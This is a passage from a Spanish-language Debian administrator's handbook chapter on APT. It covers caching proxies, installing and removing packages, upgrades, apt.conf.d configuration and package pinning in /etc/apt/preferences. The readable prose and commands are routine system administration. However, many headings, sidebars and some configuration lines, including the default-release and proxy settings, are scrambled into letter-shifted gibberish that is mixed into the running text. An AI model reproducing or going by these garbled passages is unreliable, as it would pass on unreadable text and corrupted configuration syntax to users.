BMNBDFOBEPT FO VOB NRVJOB RVF OP QFSUFOFDF BM QSPZFDUP DPOGJHVSBEB QPS


EFTBSSPMMBEPSFT %FCJBO P JODMVTJWF QSPUPUJQPT RVF TFSO NPWJEPT B EFCJBOPSH
%PT SB[POFT QVFEFO FYQMJDBS QPSRV BMHVOPT EF FTUPT QSPUPUJQPT QFSNBOFDFO
FO EFCJBOOFU P CJFO OBEJF SFBMJ[ FM FTGVFS[P OFDFTBSJP QBSB USBOTGPSNBSMP FO
VO TFSWJDJP PGJDJBM FO FM EPNJOJP EFCJBOPSH Z DPO DJFSUB HBSBOUB EF NBOUFO
JNJFOUP
P FM TFSWJDJP FT EFNBTJBEP DPOUSPWFSUJEP QBSB TFS PGJDJBMJ[BEP

Instalar un paquete significa dar permisos de root a su creador, porque ellos deciden el contenido de los scripts de inicializacin que ejecutan bajo esa identidad. Los paquetes oficiales de
Debian son creados por voluntarios que fueron cooptados y verificados y que pueden firmar sus
paquetes para que se pueda revisar su origen e integridad.



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

En general, desconfe de un paquete cuyo origen desconoce y que no es almacenado en uno de


los servidores oficiales de Debian: evale el grado en el que puede confiar en su creador y revise
la integridad del paquete.
http://mentors.debian.net/
:&/%0 .4 "--
7FSTJPOFT BOUJHVBT EF
QBRVFUFT snapshot.debian.
org

4F QVFEF VUJMJ[BS VO OVFWP TFSWJDJP JOUSPEVDJEP FO "CSJM EF 


QBSB kWPMWFS
FO FM UJFNQP{ Z FODPOUSBS VOB WFSTJO BOUFSJPS EF VO QBRVFUF 1VFEF TFS VUJ
MJ[BEP QPS FKFNQMP QBSB JEFOUJGJDBS MB WFSTJO EF VO QBRVFUF RVF JOUSPEVKP
VOB SFHSFTJO Z NT FO DPODSFUP WPMWFS B MB WFSTJO BOUFSJPS NJFOUSBT FTQFSB
RVF DPSSJKBO MB SFHSFTJO

 1SPYZ DBDI QBSB QBRVFUFT %FCJBO


Cuando una red completa de equipos est configurada para utilizar el mismo servidor remoto
para descargar los mismo paquetes actualizados, todo administrador sabe que es beneficioso
tener un proxy intermedio que funcione como cach para la red local (revise el recuadro
Cach pgina 121).
Puede configurar APT para que utilice un proxy estndar (revise la Seccin 6.2.4, Opciones
de configuracin pgina 115 para la configuracin de APT y la Seccin 11.6, Proxy HTTP/FTP
pgina 295 para la configuracin del proxy), pero el ecosistema Debian ofrece mejores opciones para solucionar este problema. Esta seccin presente un software dedicado que es ms
inteligente que un simple proxy cach porque utiliza la estructura especfica de los repositorios APT (por ejemplo, conoce cundo archivos particulares son obsoletos o no y as modifica el
tiempo durante el cual los mantendr).
apt-cacher y apt-cacher-ng funcionan como servidores proxy cach usuales. No se modifica el
archivo sources.list, pero se configura a APT para utilizarlos como proxy para pedidos
salientes.
approx, por el otro lado, funciona como un servidor HTTP que replica cualquier cantidad de
repositorios remotos en su URL ms genrica. Se almacena el mapeo entre estos directorios y
las URLs remotas de los repositorios en /etc/approx/approx.conf:
# <nombre> <URL base del repositorio>
debian
http://ftp.debian.org/debian
security http://security.debian.org

De forma predeterminada, approx ejecuta en el puerto 9999 a travs de inted (revise la Seccin 9.6, El superservidor inetd pgina 208) y necesita que el usuario modifique su archivo
sources.list para que apunte al servidor approx:
# Archiv sources.list de ejemplo que apunta a un servidor approx local
deb http://apt.falcot.com:9999/security wheezy/updates main contrib non-free
deb http://apt.falcot.com:9999/debian wheezy main contrib non-free

$BQUVMP  .BOUFOJNJFOUP Z BDUVBMJ[BDJPOFT MBT IFSSBNJFOUBT "15



 -PT QSPHSBNBT aptitude Z apt-get


APT es un proyecto gigante y su plan original incluia una interfaz grfica. Est basado en una
biblioteca que contiene la aplicacin central y apt-get fue la primera interfaz basada en la
lnea de rdenes desarrollada dentro del proyecto.
Varias otras interfaces grficas aparecieron luego como proyectos externos: synaptic,
aptitude (que incluye tanto una interfaz en modo texto como una grfica an cuando no
est completa), wajig, etc. La interfaz ms recomendada, apt-get es la utilizada durante la instalacin de Debian y la que utilizaremos en los ejemplos de esta seccin. Note, sin embargo,
que la sintaxis de lnea de rdenes de aptitude es muy similar. Detallaremos cuando existan
grandes diferencias entre apt-get y aptitude.

 *OJDJBMJ[BDJO
Para cualquier trabajo con APT necesita actualizar la lista de paquetes; puede hacer esto simplemente con apt-get update. Dependiendo de la velocidad de su conexin esta operacin puede demorar ya que involucra descargar una cantidad de archivos
Packages/Sources/Translation- codigo-idioma que han crecido gradualmente a medida que
se desarroll Debian (ms de 10 MB de datos para la seccin NBJO). Por su puesto, instalar desde
un CD-ROM no requiere descarga alguna en ese caso esta operacin es muy rpida.

 *OTUBMBDJO Z FMJNJOBDJO


Con APT puede agregar o eliminar paquetes del sistema, con apt-get install paquete y aptget remove paquete respectivamente. En ambos casos APT automticamente instalar las dependencias necesarias o eliminar los paquetes que dependen del paquete que est siendo eliminado. Las orden apt-get purge paquete realiza una desinstalacin completa se eliminan
tambin los archivos de configuracin.
46(&3&/$*"
*OTUBMBOEP MB NJTNB
TFMFDDJO EF QBRVFUFT WBSJBT
WFDFT

1VFEF TFS UJM JOTUBMBS TJTUFNUJDBNFOUF MB NJTNB MJTUB EF QBRVFUFT FO WBSJPT


FRVJQPT &TUP QVFEF SFBMJ[BSTF GDJMNFOUF
1SJNFSP PCUFOHB MB MJTUB EF QBRVFUFT FO FM FRVJQP RVF TFSWJS DPNP kNPEFMP{
B DPQJBS
$ dpkg --get-selections >pkg-list

&M BSDIJWP pkg-list DPOUJFOF BIPSB MB MJTUB EF QBRVFUFT JOTUBMBEPT -VFHP


USBOTGJFSB FM BSDIJWP pkg-list B MPT FRVJQPT RVF EFTFB BDUVBMJ[BS Z VUJMJDF MBT
TJHVJFOUFT SEFOFT
## Actualizar la base de datos de dpkg sobre paquetes
conocidos
# avail=`mktemp`
# apt-cache dumpavail > "$avail"
# dpkg --merge-avail "$avail"



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

# rm -f "$avail"
## Actualizar estado de seleccin de paquetes de dpkg
# dpkg --set-selections < pkg-list
## Pedirle a apt-get que instale los paquetes seleccionados
# apt-get dselect-upgrade

-B QSJNFSB PSEFO HSBCB MB MJTUB EF QBRVFUFT EJTQPOJCMFT FO MB CBTF EF EBUPT


EF EQLH EFTQVT dpkg --set-selections SFTUBVSB FM FTUBEP EF MPT QBRVFUFT
TFMFDDJPOBEPT RVF EFTFB JOTUBMBS Z MB FKFDVDJO EF apt-get JNQMFNFOUB MBT
PQFSBDJPOFT SFRVFSJEBT aptitude OP UJFOF FTUB PSEFO

46(&3&/$*"
&MJNJOBOEP F JOTUBMBOEP BM
NJTNP UJFNQP

&T QPTJCMF QFEJSMF B apt-get P aptitude


RVF JOTUBMF DJFSUPT QBRVFUFT Z FMJNJOF
PUSPT FO MB NJTNB MOFB EF SEFOFT BHSFHBOEP VO TVGJKP $PO VOB PSEFO aptget install BHSFHVF k-{ B MPT OPNCSFT EF QBRVFUFT RVF EFTFB FMJNJOBS $PO
VOB PSEFO aptitude remove BHSFHVF k+{ B MPT OPNCSFT EF QBRVFUF RVF EFTFB
JOTUBMBS
&M TJHVJFOUF FKFNQMP NVFUSB EPT GPSNBT EJTUJOUBT EF JOTUBMBS QBRVFUF Z FMJN
JOBS QBRVFUF
# apt-get install paquete1 paquete2[...]
# apt-get remove paquete1+ paquete2
[...]

%F FTUB GPSNB UBNCJO QVFEF FYDMVJS QBRVFUFT RVF TF JOTUBMBSBO QPS FKFNQMP
EFCJEP B VOB SFDPNFOEBDJO Recommends
 (FOFSBMNFOUF FM TJTUFNB EF SFT
PMVDJO EF EFQFOEFODJBT VUJMJ[BS FTB JOGPSNBDJO DPNP VOB JOEJDBDJO QBSB
FODPOUSBS TPMVDJPOFT BMUFSOBUJWBT

46(&3&/$*"
apt-get --reinstall Z
aptitude reinstall

" WFDFT FM TJTUFNB QVFEF EBBSTF EFTQVT EF FMJNJOBS P NPEJGJDBS MPT BSDIJWPT
EF VO QBRVFUF -B GPSNB NT TFODJMMB EF SFDVQFSBS FTUPT BSDIJWPT FT SFJOTUBMBS
MPT QBRVFUFT BGFDUBEPT %FTBGPSUVOBEBNFOUF FM TJTUFNB EF QBRVFUF FODVFOUSB
RVF TUF ZB FTU JOTUBMBEP Z BNBCMFNFOUF SFDIB[B FM QFEJEP QBSB FWJUBSMP
VUJMJDF MB PQDJO --reinstall EF apt-get -B TJHVJFOUF PSEFO SFJOTUBMB QPTUGJY
BO TJ ZB FTU JOTUBMBEP
# apt-get --reinstall install postfix

-B MOFB EF SEFOFT QBSB aptitude FT MJHFSBNFOUF EJGFSFOUF QFSP DPOTJHVF FM


NJTNP SFTVMUBEP DPO aptitude reinstall postfix
&M QSPCMFNB OP PDVSSF DPO dpkg QFSP FM BENJOJTUSBEPS SBSB WF[ MP VUJMJ[B EJSFD
UBNFOUF
5FOHB DVJEBEP VUJMJ[BS apt-get --reinstall QBSB SFTUBVSBS QBRVFUFT NPEJGJ
DBEPT EVSBOUF VO BUBRVF EFGJOJUJWBNFOUF OP QVFEF SFDVQFSBS FM TJTUFNB DPNP
FTUBCB -B 4FDDJO  k5SBUBNJFOUP EF VOB NRVJOB DPNQSPNFUJEB{ QHJOB
 EFUBMMB MPT QBTPT OFDFTBSJPT B UPNBS FO VO TJTUFNB DPNQSPNFUJEP

$BQUVMP  .BOUFOJNJFOUP Z BDUVBMJ[BDJPOFT MBT IFSSBNJFOUBT "15



Si el archivo sources.list menciona varias distribuciones es posible proveer la versin del


paquete a instalar. Se puede pedir un nmero de versin especfico con apt-get install paqu
ete=versin, pero generealmente es preferible indicar la distribucin de origen (Stable, Testing
o Unstable) utilizando apt-get install paquete/distribucin. Con esta orden es posible
volver a una versin antigua de un paquete (si sabe que funciona bien por ejemplo), siempre
que an est disponible en alguno de los orgenes a los que se refiere el archivo sources.list.
De lo contrario, el compendio TOBQTIPUEFCJBOPSH puede llegar al rescate (revise el recuadro
Versiones antiguas de paquetes: snapshot.debian.org pgina 111).
&KFNQMP 

*OTUBMBDJO EF MB WFSTJO FO 6OTUBCMF EF TQBNBTTBTTJO

# apt-get install spamassassin/unstable

:&/%0 .4 "--
&M DBDI EF BSDIJWPT .deb

"15 NBOUJFOF VOB DPQJB EF DBEB BSDIJWP .deb EFTDBSHBEP FO FM EJSFDUPSJP


/var/cache/apt/archives/ &O DBTP EF BDUVBMJ[BDJPOFT GSFDVFOUFT FTUF EJSFD
UPSJP QVFEF PDVQBS NVDIP FTQBDJP FO EJTDP SQJEBNFOUF DPO WBSJBT WFSTJPOFT
EF DBEB QBRVFUF EFCFSB PSEFOBSMPT SFHVMBSNFOUF 1VFEF VUJMJ[BS EPT SEFOFT
apt-get clean WBDB DPNQMFUBNFOUF FM EJSFDUPSJP Z apt-get autoclean T
MP FMJNJOB MPT QBRVFUFT RVF OP QVFEFO TFS EFTDBSHBEPT QPSRVF ZB EFTB
QBSFDJFSPO EF MB SQMJDB %FCJBO
Z TPO PCWJBNFOUF JOUJMFT FM QBSNFUSP EF
DPOGJHVSBDJO APT::Clean-Installed QVFEF FWJUBS MB FMJNJOBDJO EF BSDIJWPT
.deb RVF FTUO JOTUBMBEPT BDUVBMNFOUF


 "DUVBMJ[BDJO EFM TJTUFNB


Se recomienda actualizar regularmente ya que stas actualizaciones incluyen las ltimas actualizaciones de seguridad. Para actualizar, utilice apt-get upgrade o aptitude safe-upgrade
(por supuesto, despus de apt-get update). Esta orden busca paquetes instalados que pueden
ser actualizados sin eliminar ningn paquete. En otras palabras, el objetivo es asegurar la actualizacin menos intrusiva posible. apt-get es ligeramente ms exigente que aptitude ya que
se negar a instalar paquetes que no estaban instalados previamente.
46(&3&/$*"
"DUVBMJ[BDJO JODSFNFOUBM

$PNP FYQMJDBNPT BOUFSJPSNFOUF FM PCKFUJWP EF MB PSEFO apt-get update FT


EFTDBSHBS FM BSDIJWP Packages P Sources
EF DBEB PSJHFO EF QBRVFUFT 4JO
FNCBSHP BO EFTQVT EF MB DPNQSFTJO bzip2 FTUPT BSDIJWPT DPOUJOVBO TJFO
EP SFMBUJWBNFOUF HSBOEFT FM BSDIJWP Packages.bz2 QBSB MB TFDDJO NBJO EF
8IFF[Z PDVQB NT EF  .#
 &TUBT EFTDBSHBT QVFEFO UPNBS NVDIP UJFNQP TJ
EFTFB BDUVBMJ[BS GSFDVFOUFNFOUF
1BSB BDFMFSBS FM QSPDFTP "15 QVFEF EFTDBSHBS BSDIJWPT kEJ{ RVF DPOUJFOFO
MPT DBNCJPT EFTEF MB MUJNB BDUVBMJ[BDJO FO MVHBS EFM BSDIJWP DPNQMFUP 1BSB
MPHSBS FTUP MBT SQMJDBT PGJDJBMFT EF %FCJBO EJTUSJCVZFO EJGFSFOUFT BSDIJWPT RVF
MJTUBO MBT EJGFSFODJBT FOUSF VOB WFSTJO EFM BSDIJWP Packages Z MB TJHVJFOUF 4PO
HFOFSBEPT FO DBEB BDUVBMJ[BDJO EFM DPNQFOEJP Z TF NBOUJFOF VOB TFNBOB EF
IJTUPSJB $BEB VOP EF FTUPT BSDIJWPT kEJ{ TMP PDVQB VOBT QPDBT EPDFOBT



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

EF LJMPCZUFT QBSB 6OTUBCMF QPS MP RVF MB DBOUJEBE EF EBUPT EFTDBSHBEPT TJ TF


FKFDVUB TFNBOBMNFOUF aptitude update TF EJWJEF QPS  1BSB EJTUSJCVDJPOFT
DPNP 4UBCMF Z 5FTUJOH RVF DBNCJBO NFOPT MB HBOBODJB FT NFOPT OPUBCMF
4JO FNCBSHP B WFDFT QVFEF FTUBS JOUFSFTBEP FO EFTDBSHBS FM BSDIJWP Packages
DPNQMFUP FTQFDJBMNFOUF DVBOEP MB MUJNB BDUVBMJ[BDJO FT NVZ BOUJHVB Z
DVBOEP FM NFDBOJTNP EF EJGFSFODJBT JODSFNFOUBMFT OP BZVEBSB EFNBTJBEP
5BNCJO QVFEF TFS JOUFSFTBOUF DVBOEP FM BDDFTP EF SFE FT NVZ SQJEP QFSP FM
QSPDFTBEPS FO FM FRVJQP B BDUVBMJ[BS FT SFMBUJWBNFOUF MFOUP ZB RVF FM UJFNQP
BIPSSBEP FO MB EFTDBSHB FT NT RVF FM QFSEJEP DVBOEP FM FRVJQP DBMDVMF MB
OVFWB WFSTJO EF MPT BSDIJWPT DPNFO[BOEP DPO MBT WFSTJPOFT BOUJHVBT Z BQMJ
DBOEP MBT EJGFSFODJBT EFTDBSHBEBT
 1BSB IBDFS FTUP QVFEF VUJMJ[BS FM QBSNFUSP
EF DPOGJHVSBDJO Acquire::Pdiffs Z DPOGJHVSBSMP DPNP false

apt-get generalmente seleccionar el nmero de versin ms reciente (excepto para paquetes

en Experimental y stable-backports que son ignorados de forma predeterminada sin importar su


nmero de versin). Si especific Testing o Unstable en su archivo sources.list, aptitude up
grade cambiar la mayor parte de su sistema en Stable a Testing o Unstable que podra no ser lo
que deseaba.
Para indicarle a apt-get que utilice una distribucin especfica al buscar paquetes a actualizar
debe utilizar la opcin U o UBSHFUSFMFBTF seguido del nombre de la distribucin que desea
(por ejemplo: apt-get -t stable upgrade). Para evitar especificar esta opcin cada vez que
utilice apt-get puede agregar "15%FGBVMU3FMFBTF TUBCMF al archivo /etc/apt/apt.conf.
d/local.
Para actualizaciones ms importantes, como el cambio de una versin mayor de Debian a la
siguiente, necesita utilizar apt-get dist-upgrade (por distribution upgrade: actualizar distribucin). Con esta instruccin, apt-get completar la actualizacin an si tiene que eliminar
algunos paquetes obsoletos o instalar nuevas dependencias. Esta tambin es la orden utilizada
por los usuarios que trabajan diariamente con la versin Unstable de Debian y siguen su evolucin da a da. Es tan simple que casi no necesita explicacin: la reputacin de APT est basada
en esta excelente caracterstica.
aptitude full-upgrade es la orden correspondiente para aptitude, aunque tambin reconoce
dist-upgrade (pero es obsoleto).

 0QDJPOFT EF DPOGJHVSBDJO


Adems de los elementos de configuracin ya mencionados es posible configurar ciertos aspectos de APT agregando directivas en un archivo del directorio /etc/apt/apt.conf.d/. Recuerde,
por ejemplo, que APT puede indicarle a dpkg que ignore errores de conflictos de archivos especificando %1LH0QUJPOT \ GPSDFPWFSXSJUF^.
Si slo puede acceder a la web a travs de un proxy, agregue una lnea como "DRVJSFIQQSP
YZ IQTVQSPYZ. Para un proxy FTP, utilice "DRVJSFQQSPYZ QTVQSPYZ. Para
descubrir ms opciones de configuracin, lea la pgina de manual apt.conf(5) con la orden

$BQUVMP  .BOUFOJNJFOUP Z BDUVBMJ[BDJPOFT MBT IFSSBNJFOUBT "15



(para detalles sobre las pginas de manual, revise la Seccin 7.1.1, Pginas de
manual pgina 140).
man apt.conf

70-7&3 " -04


$*.*&/504
%JSFDUPSJPT UFSNJOBEPT DPO .
d

$BEB WF[ NT TF VUJMJ[BO EJSFDUPSJPT DPO FM TVGJKP .d $BEB EJSFDUPSJP SFQSF
TFOUB VO BSDIJWP EF DPOGJHVSBDJO SFQBSUJEP FO NMUJQMFT BSDIJWPT &O FTUF
TFOUJEP UPEPT MPT BSDIJWPT FO /etc/apt/apt.conf.d/ TPO JOTUSVDDJPOFT QBSB
MB DPOGJHVSBDJO EF "15 "15 MPT JODMVZF FO PSEFO BMGBCUJDP QBSB RVF MPT MUJ
NPT QVFEBO NPEJGJDBS VO FMFNFOUP EF DPOGJHVSBDJO EFGJOJEP FO MPT QSJNFSPT
&TUB FTUSVDUVSB MF EB DJFSUB GMFYJCJMJEBE BM BENJOJTUSBEPS EFM FRVJQP Z B MPT
EFTBSSPMMBEPSFT EF QBRVFUFT %F IFDIP FM BENJOJTUSBEPS QVFEF NPEJGJDBS G
DJMNFOUF MB DPOGJHVSBDJO EFM TPXBSF BHSFHBOEP VO BSDIJWP QSFIFDIP FO FM
EJSFDUPSJP FO DVFTUJO TJO UFOFS RVF NPEJGJDBS VO BSDIJWP FYJTUFOUF -PT EFTBS
SPMMBEPSFT EF QBRVFUFT VUJMJ[BO FM NJTNP FOGPRVF DVBOEP OFDFTJUBO BEBQUBS
MB DPOGJHVSBDJO EF PUSP TPXBSF QBSF BTFHVSBS RVF QVFEB DPFYJTUJS QFSGFDUB
NFOUF DPO FM TVZP -B /PSNBUJWB %FCJBO QSPICF FYQMDJUBNFOUF NPEJGJDBS MPT
BSDIJWPT EF DPOGJHVSBDJO EF PUSPT QBRVFUFT TMP MPT VTVBSJPT QVFEFO IBD
FSMP 3FDVFSEF RVF EVSBOUF MB BDUVBMJ[BDJO EF VO QBRVFUF FM VTVBSJP QVFEF
FMFHJS MB WFSTJO EFM BSDIJWP EF DPOGJHVSBDJO B NBOUFOFS DVBOEP TF EFUFDU
VOB NPEJGJDBDJO $VBMRVJFS NPEJGJDBDJO FYUFSOB EF VO BSDIJWP EJTQBSBSB
EJDIP QFEJEP MP RVF NPMFTUBSB BM BENJOJTUSBEPS RVF FTU TFHVSP EF OP IBCFS
NPEJGJDBEP OBEB
4JO VO EJSFDUPSJP .d FT JNQPTJCMF RVF VO QBRVFUF FYUFSOP NPEJGJRVF MB DPOGJH
VSBDJO EF VO QSPHSBNB TJO NPEJGJDBS TV BSDIJWP EF DPOGJHVSBDJO &O TV MVHBS
EFCF JOWJUBS BM VTVBSJP B RVF MP IBHB QPS TV DVFOUB Z MJTUBS MBT PQFSBDJPOFT B
SFBMJ[BS FO FM BSDIJWP /usr/share/doc/paquete/README.Debian
%FQFOEJFOEP EF MB BQMJDBDJO FM EJSFDUPSJP .d QVFEF TFS VUJMJ[BEP EJSFDUB
NFOUF P BENJOJTUSBEP QPS VO TDSJQU FYUFSOP RVF DPODBUFOB UPEPT MPT BSDIJWPT
QBSB DSFBS FM BSDIJWP EF DPOGJHVSBDJO &T JNQPSUBOUF FKFDVUBS FTUF TDSJQU MVFHP
EF DVBMRVJFS DBNCJP FO FTF EJSFDUPSJP QBSB RVF TF UFOHBO FO DVFOUB MBT NPE
JGJDBDJPOFT NT SFDJFOUFT %F MB NJTNB GPSNB FT JNQPSUBOUF OP USBCBKBS EJ
SFDUBNFOUF FO FM BSDIJWP EF DPOGJHVSBDJO DSFBEP BVUPNUJDBNFOUF ZB RVF TF
QFSEFSB UPEP FO MB TJHVJFOUF FKFDVDJO EFM TDSJQU &M NUPEP TFMFDDJPOBEP VT
BS EJSFDUBNFOUF FM EJSFDUPSJP .d P VO BSDIJWP HFOFSBEP EFTEF EJDIP EJSFDUPSJP

FTU HFOFSBMNFOUF EFGJOJEP QPS MJNJUBDJPOFT EF JNQMFNFOUBDJO QFSP FO BN


CPT DBTPT MBT HBOBODJBT FO DVBOUP B GMFYJCJMJEBE EF MB DPOGJHVSBDJO NT RVF
DPNQFOTBO MBT QFRVFBT DPNQMJDBDJPOFT RVF TJHOJGJDBO &M TFSWJEPS EF DPSSFP
&YJN  FT VO FKFNQMP EFM NUPEP FO FM RVF TF HFOFSB FM BSDIJWP QVFEF DPO
GJHVSBSTF NFEJBOUF WBSJPT BSDIJWPT /etc/exim4/conf.d/*
RVF TPO DPODBUF
OBEPT FO /var/lib/exim4/config.autogenerated NFEJBOUF MB PSEFO updateexim4.conf

 (FTUJO EF QSJPSJEBEFT EF MPT QBRVFUFT


Uno de los aspectos ms importantes en la configuracin de APT es la gestin de las prioridades
asociadas con cada origen de paquetes. Por ejemplo, podra desear extender una distribucin
con uno o dos paquetes ms recientes de Testing, Unstable o Experimental. Es posible asignar una
prioridad a cada paquete disponible (el mismo paquete puede tener varias prioridades segn su
versin o la distribucin que lo provee). Estas prioridades influenciarn el comportamiento de



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

APT: para cada paquete, siempre seleccionar la versin con la prioridad ms alta (excepto si
esta versin es anterior a la instalada y si su prioridad es menor a 1000).
APT define varias prioridades predeterminadas. Cada versin instalada de un paquete tiene una
prioridad de 100. Una versin no instalada tiene una prioridad predeterminada de 500, pero
puede saltar a 990 si es parte de la distribucin destino (definida con la opcin de lnea de rdenes U o la directiva de configuracin "15%FGBVMU3FMFBTF).
Puede modificar las prioridades agregando elementos en el archivo /etc/apt/preferences con
los nombres de los paquetes afectados, sus versiones, sus orgenes y sus nuevas prioridades.
APT nunca instalar una versin anterior de un paquete (esto es, un paquete cuyo nmero de
versin sea menor al que est instalado actualmente) excepto si su prioridad es mayor a 1000.
APT siempre instalar el paquete con la mayor prioridad que cumpla esta restriccin. Si dos
paquetes tienen la misma prioridad, APT instalar la ms reciente (aquella cuya versin sea
mayor). Si dos paquetes de la misma versin tienen la misma prioridad pero tienen diferente
contenido, APT instalar la versin que no est instalada (se cre esta regla para cubrir los casos
de la actualizacin de un paquete sin aumentar el nmero de revisin, que es generalmente
necesario).
En trminos ms concretos, un paquete con prioridad menor a 0 nunca ser instalado. Un paquete con una prioridad entre 0 y 100 slo ser instalado si no hay otra versin ya instalada del
paquete. Con una prioridad entre 100 y 500, el paquete slo ser instalado si no hay otra versin
ms reciente instalada o disponible en otra distribucin. Un paquete con prioridad entre 501 y
990 ser instalado slo si no hay una versin ms nueva instalada o disponible en la distribucin
de destino. Con una prioridad entre 990 y 1000, el paquete ser instalado a menos que la versin
instalada sea mayor. Una prioridad mayor a 1000 siempre llevar a la instalacin del paquete
an si sto significa que APT instalar una versin anterior.
Cuando APT revisa /etc/apt/preferences primero tiene en cuenta las entradas ms especficas (generalmente aquellas que especifiquen el paquete en cuestin), luego las ms genricas
(incluyendo, por ejemplo, todos los paquetes de una distribucin). Si existen varias entradas
genricas, utiliza la primera coincidencia. El criterio de seleccin disponible incluye el nombre
del paquete y el origen que lo provee. Se identifica cada origen de paquetes por la informacin
contenida en un archivo Release y que APT descarga junto con los archivos Packages. Especifica el origen (generalmente Debian para paquetes de las rplicas oficiales, pero tambin puede
ser el nombre de una persona u organizacin para repositorios de terceros). Tambin provee el
nombre de la distribucin (generalmente Stable, Testing, Unstable o Experimental para las distribuciones estndar que provee Debian) junto con su versin (por ejemplo, 5.0 para Debian Lenny).
Revisemos su sintaxis a travs de casos de estudio de este mecanismo ms realistas.
$"40 &41&$'*$0
-B QSJPSJEBE EF &YQFSJNFOUBM

4J BHSFH &YQFSJNFOUBM FO TV BSDIJWP sources.list MPT QBRVFUFT DPSSFTQPO


EJFOUFT DBTJ OVODB TFSO JOTUBMBEPT QPSRVF TV QSJPSJEBE "15 QSFEFUFSNJOB
EB FT  &TUF FT QPS TVQVFTUP VO DBTP FTQFDGJDP EJTFBEP QBSB FWJUBS RVF
MPT VTVBSJPT JOTUBMFO QBRVFUFT EF &YQFSJNFOUBM QPS FSSPS -PT QBRVFUFT TMP
QVFEFO JOTUBMBSTF FKFDVUBOEP aptitude install paquete/experimental
TPMP MPT VTVBSJPT RVF JOHSFTFO FTUB PSEFO TBCFO MPT SJFTHPT RVF FTUO UPNBO
EP &T QPTJCMF BVORVF OP SFDPNFOEBCMF
USBUBS MPT QBRVFUFT EF &YQFSJNFOUBM

$BQUVMP  .BOUFOJNJFOUP Z BDUVBMJ[BDJPOFT MBT IFSSBNJFOUBT "15



DPNP BRVFMMPT EF PUSB EJTUSJCVDJO PUPSHOEPMFT VOB QSJPSJEBE EF  &TUP TF


MPHSB DPO VOB FOUSBEB FTQFDGJDB FO /etc/apt/preferences
Package: *
Pin: release a=experimental
Pin-Priority: 500

Supongamos que slo desea utilizar paquetes de la versin estable de Debian. Aquellos provistos
en otras versiones no seran instalados a menos que sean pedidos explcitamente. Puede escribir
las siguientes entradas en el archivo /etc/apt/preferences:
Package: *
Pin: release a=stable
Pin-Priority: 900
Package: *
Pin: release o=Debian
Pin-Priority: -10

BTUBCMF define el nombre de la distribucin elegida. P%FCJBO limita el alcance a los paquetes
cuyo origen es Debian.
Asumamos ahora que tiene un servidor con varios programas locales que dependen de la versin
5.14 de Perl y que desea asegurarse que las actualizaciones no instalarn otra versin del mismo.
Puede utilizar la siguiente entrada:
Package: perl
Pin: version 5.14*
Pin-Priority: 1001

La documentacin de referencia para este archivo de configuracin est disponible en la pgina


de manual apt_preferences(5) que puede ver con man apt_preferences.

46(&3&/$*"
$PNFOUBSJPT FO /etc/apt/
preferences

/P FYJTUF VOB TJOUBYJT PGJDJBM QBSB BHSFHBS DPNFOUBSJPOT FO FM BSDIJWP /etc/


apt/preferences QFSP TF QVFEFO QSPWFFS BMHVOBT EFTDSJQDJPOFT UFYUVBMFT
BHSFHBOEP VOP P NT DBNQPT kExplanation{ BM QSJODJQJP EF DBEB FOUSBEB
Explanation: El paquete xserver-xorg-video-intel provisto
Explanation: en experimental puede usarse de forma segura
Package: xserver-xorg-video-intel
Pin: release a=experimental
Pin-Priority: 500



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

 5SBCBKP DPO WBSJBT EJTUSJCVDJPOFT


Siendo la herramienta maravillosa que apt-get es, es tentador elegir paquetes de otras distribuciones. Por ejemplo, luego de instalar un sistema Stable podra desear probar paquetes de
software disponibles en Testing o Unstable sin desviarse demasiado del estado inicial del sistema.
An cuando ocasionamente encontrar problemas al mezclar paquetes de diferentes distribuciones apt-get gestionar muy bien su coexistencia y limitar los riesgos de manera muy efectiva. La mejor manera de proceder es listar todas las distribuciones utilizadas en /etc/apt/
sources.list (algunas personas siempre agregan las tres distribuciones, pero recuerde que Unstable est reservado para usuarios experimentados) y definir su distribucin de referencia con
el parmetro "15%FGBVMU3FMFBTF (revise la Seccin 6.2.3, Actualizacin del sistema pgina
114).
Supongamos que su distribucin de referencia es Stable pero que Testing y Unstable tambin
aparecen listados en su archivo sources.list. En este caso, puede utilizar apt-get install
paquete/testing para instalar un paquete de Testing. Si la instalacin falla debido a alguna
dependencia insatisfecha, permtale resolver esas dependencias dentro de Testing agregando el
parmetro U UFTUJOH. Obviamente, lo mismo aplica a Unstable.
En esta situacin, las actualizaciones (upgrade y dist-upgrade) se realizan dentro de Stable
a excepcin de los paquetes que ya fueron actualizados a otra distribucin: stos seguirn las
actualizaciones disponibles en las otras distribuciones. Explicaremos este comportamiento con
la ayuda de las prioridades predeterminadas de APT a continuacin. No dude en utilizar aptcache policy (revise el recuadro) para verificar las prioridades otorgadas.
Todo gira alrededor del hecho de que APT considera slo paquetes con una versin mayor o
igual que la instalada (suponiendo que /etc/apt/preferences no ha sido usado para forzar
prioridades superiores a 1000 para algunos paquetes).
46(&3&/$*"
apt-cache policy

1BSB PCUFOFS VO NFKPS FOUFOEJNJFOUP EFM NFDBOJTNP EF QSJPSJEBEFT OP EVEF


FO FKFDVUBS apt-cache policy QBSB NPTUSBS MB QSJPSJEBE QSFEFUFSNJOBEB BTP
DJBEB B DBEB PSJHFO EF QBRVFUFT 5BNCJO QVFEF VUJMJ[BS apt-cache policy
paquete QBSB NPTUSBS MBT QSJPSJEBEFT EF UPEBT MBT WFSTJPOFT EJTQPOJCMFT EF VO
QBRVFUF EBEP

Asumamos que instal la versin 1 de un primer paquete de Stable y que las versiones 2 y 3 estn
disponibles en Testing y Unstable respectivamente. La versin instalada tiene una prioridad de
100, pero la versin disponible en Stable (la misma versin) tiene una prioridad de 990 (porque
es parte de la versin de destino). Los paquetes en Testing y Unstable tienen una prioridad de
500 (la prioridad predeterminada para una versin no instalada). El ganador es, por lo tanto, la
versin 1 con una prioridad de 990. El paquete se mantiene en Stable.
Tomemos como ejemplo otro paquete cuya versin 2 fue instalada de Testing. La versin 1 est
disponible en Stable y la versin 3 en Unstable. La versin 1 (de prioridad 990 por lo tanto menor
a 1000) es descartada porque es menor que la versin instalada. Esto deja slo las versiones 2 y
3, ambas de prioridad 500. Frente a esta alternativa, APT selecciona la versin ms nueva: la de

$BQUVMP  .BOUFOJNJFOUP Z BDUVBMJ[BDJPOFT MBT IFSSBNJFOUBT "15



Unstable. Si no desea que un paquete de Testing actualice su versin a la de Unstable, debe asignar
